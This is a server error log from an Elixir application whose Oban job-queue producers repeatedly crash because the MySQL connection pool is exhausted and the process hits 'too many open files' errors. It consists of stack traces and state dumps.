State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:44:03.240976Z], limit: 3, uuid: "b445b173-5963-43e2-b14a-1d8251a67869", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:03.240981Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74941>, refresh_timer: #Reference<0.2525715032.1068498948.74901>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:44:03.241295Z], limit: 50, uuid: "92b689eb-29bc-49dd-b6ca-76a2ea14144e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:03.241301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74940>, refresh_timer: #Reference<0.2525715032.1068498948.74917>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 840ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:44:03.241481Z], limit: 10, uuid: "909e42e3-ca0e-4cab-8ae7-43c9a7c04496", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:03.241486Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74939>, refresh_timer: #Reference<0.2525715032.1068498948.74925>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1062ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:44:03.242553Z], limit: 5, uuid: "6d973a1c-cf28-4658-9ef6-4911a60a27ff", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:03.242560Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67379>, refresh_timer: #Reference<0.2525715032.1099431938.67365>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:44:03.245005Z], limit: 5, uuid: "e65e7e5e-217c-4f1c-a08a-966cb90db6c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:03.245010Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74943>, refresh_timer: #Reference<0.2525715032.1099431938.67378>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:44:03.243602Z], limit: 20, uuid: "97002375-e70d-4fca-a3ad-f5fa482c660e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:03.243608Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.74942>, refresh_timer: #Reference<0.2525715032.1121189889.218345>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:18.432000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:19.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:19.757000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:44:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:44:15.239450Z], limit: 50, uuid: "710f3566-d2a2-4601-bedf-a965facff6c0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:15.239457Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.67475>, refresh_timer: #Reference<0.2525715032.1077673987.51319>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:28.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 899ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:44:15.241089Z], limit: 5, uuid: "41dd1b07-e864-48d2-8481-dc738565a515", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:15.241094Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.51380>, refresh_timer: #Reference<0.2525715032.1077673987.51362>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:44:15.240311Z], limit: 20, uuid: "1f52d8ab-19b1-4ff3-b821-e4dbfd0b0412", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:44:15.240316Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.51379>, refresh_timer: #Reference<0.2525715032.1077673987.51340>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:44:28.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1091ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
